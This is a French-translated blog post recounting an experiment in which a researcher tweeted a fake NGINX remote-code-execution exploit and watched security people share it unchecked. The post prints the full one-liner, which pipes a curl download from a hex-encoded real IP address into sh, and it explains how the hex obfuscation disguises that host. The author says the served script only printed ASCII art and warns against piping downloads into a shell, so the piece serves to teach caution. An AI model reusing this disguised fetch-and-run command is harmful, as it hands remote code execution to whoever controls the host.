Succès d'une expérience sociale avec un faux exploit nginx

Noter. trad.: auteur La note originale, publiée le 1er juin, a décidé de mener une expérience auprès de ceux qui s'intéressent à la sécurité de l'information. Pour ce faire, il a préparé un faux exploit pour une vulnérabilité non divulguée du serveur Web et l'a publié sur son Twitter. Ses hypothèses - qui devaient être immédiatement exposées par des spécialistes qui verraient la tromperie évidente dans le code - non seulement ne se sont pas réalisées... Elles ont dépassé toutes les attentes, et dans le sens inverse : le tweet a reçu un énorme soutien de la part de nombreuses personnes qui ne l'ont pas fait. vérifiez son contenu.

TL;DR : n'utilisez en aucun cas le pipeline de fichiers dans sh ou bash. C'est un excellent moyen de perdre le contrôle de votre ordinateur.

Je souhaite partager avec vous une courte histoire sur un exploit PoC comique créé le 31 mai. Il est apparu rapidement en réponse aux nouvelles de Alisa Esage Chevtchenko, membre Initiative Zero Day (ZDI), que des informations sur une vulnérabilité dans NGINX conduisant au RCE (exécution de code à distance) seront bientôt divulguées. Étant donné que NGINX alimente de nombreux sites Web, la nouvelle a dû faire l'effet d'une bombe. Mais en raison de retards dans le processus de « divulgation responsable », les détails de ce qui s'est passé n'étaient pas connus - il s'agit d'une procédure standard du ZDI.

Tweet à propos de la divulgation de vulnérabilités dans NGINX

Ayant fini de travailler sur une nouvelle technique d’obscurcissement dans curl, j’ai cité le tweet original et « divulgué un PoC fonctionnel » composé d’une seule ligne de code censée exploiter la vulnérabilité découverte. Bien sûr, c’était complètement absurde. J’ai supposé que je serais immédiatement exposé et qu’au mieux j’obtiendrais quelques retweets (eh bien).

Tweet avec un faux exploit

Cependant, je ne pouvais pas imaginer ce qui s'est passé ensuite. La popularité de mon tweet est montée en flèche. Étonnamment, à l'heure actuelle (15h00, heure de Moscou, le 1er juin), peu de gens se rendent compte qu'il s'agit d'un faux. Beaucoup de gens le retweetent sans le vérifier du tout (et encore moins en admirant les jolis graphiques ASCII qu'il produit).

Regardez comme c'est beau !

Bien que toutes ces boucles et couleurs soient superbes, il est clair que les gens ont dû exécuter du code sur leur machine pour les voir. Heureusement, les navigateurs fonctionnent de la même manière, et combiné au fait que je ne voulais pas vraiment avoir de problèmes juridiques, le code enfoui dans mon site faisait simplement des appels d'écho sans tenter d'installer ou d'exécuter du code supplémentaire.

Une petite digression: netspooky, DNZ, moi et les autres gars de l'équipe Foule de voyou Nous jouons avec différentes façons de masquer les commandes curl depuis un moment maintenant parce que c'est cool... et nous sommes des geeks. netspooky et dnz ont découvert plusieurs nouvelles méthodes qui m'ont semblé extrêmement prometteuses. J'ai participé à la fête et j'ai essayé d'ajouter des conversions décimales IP au sac à astuces. Il s'avère que l'IP peut également être convertie au format hexadécimal. De plus, curl et la plupart des autres outils NIX mangent volontiers des adresses IP hexadécimales ! Il s’agissait donc simplement de créer une ligne de commande convaincante et sécurisée. Finalement, j'ai opté pour celui-ci :

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingénierie socio-électronique (SEE) : plus qu'un simple phishing

La sécurité et la familiarité constituaient un élément majeur de cette expérience. Je pense que c'est ce qui a conduit à son succès. La ligne de commande impliquait clairement la sécurité en faisant référence à "127.0.0.1" (le localhost bien connu). Localhost est considéré comme sécurisé et les données qu'il contient ne quittent jamais votre ordinateur.

La familiarité était le deuxième élément clé de SEE de l’expérience. Étant donné que le public cible était principalement constitué de personnes familiarisées avec les bases de la sécurité informatique, il était important de créer du code de manière à ce que certaines parties de celui-ci paraissent familières et familières (et donc sûres). Emprunter des éléments d’anciens concepts d’exploit et les combiner de manière inhabituelle s’est avéré très efficace.

Vous trouverez ci-dessous une analyse détaillée du one-liner. Tout sur cette liste porte nature cosmétique, et pratiquement rien n'est requis pour son fonctionnement réel.

Quels composants sont réellement nécessaires ? Ce -gsS, -O 0x0238f06a, |sh et le serveur Web lui-même. Le serveur Web ne contenait aucune instruction malveillante, mais servait simplement des graphiques ASCII à l'aide de commandes echo dans le script contenu dans index.html. Lorsque l'utilisateur a saisi une ligne avec |sh au milieu, index.html chargé et exécuté. Heureusement, les gardiens du serveur Web n’avaient aucune mauvaise intention.

• ../../../%00 — représente un dépassement du répertoire ;
• ngx_stream_module.so — chemin vers un module NGINX aléatoire ;
• /bin/sh%00<'protocol:TCP' - nous sommes censés lancer /bin/sh sur la machine cible et rediriger la sortie vers le canal TCP ;
• -O 0x0238f06a#PLToffset - ingrédient secret, complété #PLToffset, pour ressembler à un décalage de mémoire contenu d'une manière ou d'une autre dans le PLT ;
• |sh; - un autre fragment important. Nous devions rediriger la sortie vers sh/bash afin d'exécuter le code provenant du serveur Web attaquant situé à l'adresse 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - un mannequin dans lequel netcat fait référence /dev/tcp/localhostpour que tout semble à nouveau en sécurité. En fait, il ne fait rien et fait partie de la gamme beauté.

Ceci conclut le décodage du script d’une ligne et la discussion des aspects de « l’ingénierie socio-électronique » (hameçonnage complexe).

Configuration du serveur Web et contre-mesures

Comme la grande majorité de mes abonnés sont des infosec/hackers, j'ai décidé de rendre le serveur web un peu plus résistant aux expressions « d'intérêt » de leur part, juste pour que les gars aient quelque chose à faire (et ce serait amusant de le faire). installation). Je ne vais pas lister ici tous les pièges puisque l'expérience est toujours en cours, mais voici quelques actions du serveur :

• Surveille activement les tentatives de diffusion sur certains réseaux sociaux et substitue diverses vignettes d'aperçu pour inciter l'utilisateur à cliquer sur le lien.
• Redirige Chrome/Mozilla/Safari/etc vers la vidéo promotionnelle Thugcrowd au lieu d'afficher le script shell.
• Surveille les signes évidents d'intrusion/de piratage flagrant, puis commence à rediriger les requêtes vers les serveurs de la NSA (ha !).
• Installe un cheval de Troie, ainsi qu'un rootkit du BIOS, sur tous les ordinateurs dont les utilisateurs visitent l'hôte à partir d'un navigateur classique (je plaisante !).

Une petite partie d'antimères

Dans ce cas, mon seul objectif était de maîtriser certaines fonctionnalités d'Apache - en particulier les règles intéressantes de redirection des requêtes - et je me suis dit : pourquoi pas ?

Exploit NGINX (réel !)

Abonnez-vous à @alisaesage sur Twitter et suivez l'excellent travail de ZDI pour remédier à des vulnérabilités très réelles et exploiter les opportunités dans NGINX. Leur travail m'a toujours fasciné et je remercie Alice pour sa patience avec toutes les mentions et notifications provoquées par mon stupide tweet. Heureusement, cela a aussi fait du bien : cela a contribué à faire prendre conscience des vulnérabilités de NGINX, ainsi que des problèmes causés par l'abus de curl.

Source: habr.com